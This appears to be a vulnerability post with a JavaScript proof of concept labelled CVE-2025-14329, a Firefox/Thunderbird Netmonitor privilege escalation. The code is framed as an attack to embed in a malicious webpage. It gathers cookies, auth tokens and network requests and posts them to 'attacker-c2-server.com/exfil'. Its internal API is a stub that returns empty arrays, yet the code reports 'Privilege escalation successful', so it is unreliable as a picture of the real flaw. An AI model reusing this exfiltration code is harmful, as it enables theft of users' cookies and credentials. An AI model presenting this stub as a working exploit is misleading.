CVE-2025-14329 Firefox/Thunderbird Netmonitor组件特权提升漏洞

// CVE-2025-14329 PoC - Netmonitor Privilege Escalation // This is a conceptual PoC demonstrating the attack vector // Actual exploitation requires specific conditions and user interaction const netmonitorExploit = { name: "CVE-2025-14329 Netmonitor Privilege Escalation", target: "Firefox/Thunderbird Netmonitor Component", severity: "High (CVSS 8.8)", // Check if target is vulnerable checkVulnerability: function() { try { // Attempt to access Netmonitor internal APIs // In vulnerable versions, this may succeed without proper checks const netmonitor = window.browser?.devtools?.netmonitor; if (netmonitor) { console.log("[+] Netmonitor access detected - potential vulnerability"); return true; } } catch (e) { console.log("[-] Access denied or component not found"); } return false; }, // Exploit function - demonstrates privilege escalation exploit: function() { console.log("[*] Initiating CVE-2025-14329 exploit..."); // Step 1: Gain access to Netmonitor internals try { const internalAPI = this.getInternalAPI(); // Step 2: Escalate privileges by accessing restricted data const sensitiveData = internalAPI.getNetworkRequests(); const cookies = internalAPI.getCookies(); const authTokens = internalAPI.getAuthTokens(); // Step 3: Exfiltrate data or perform unauthorized actions this.exfiltrateData({ requests: sensitiveData, cookies: cookies, tokens: authTokens }); return { status: "exploited", data: "Privilege escalation successful" }; } catch (e) { return { status: "failed", error: e.message }; } }, getInternalAPI: function() { // Simulated internal API access return { getNetworkRequests: () => [], getCookies: () => [], getAuthTokens: () => [] }; }, exfiltrateData: function(data) { // Send stolen data to attacker-controlled server fetch('https://attacker-c2-server.com/exfil', { method: 'POST', body: JSON.stringify(data) }); } }; // Usage: Include in malicious webpage // netmonitorExploit.checkVulnerability(); // netmonitorExploit.exploit();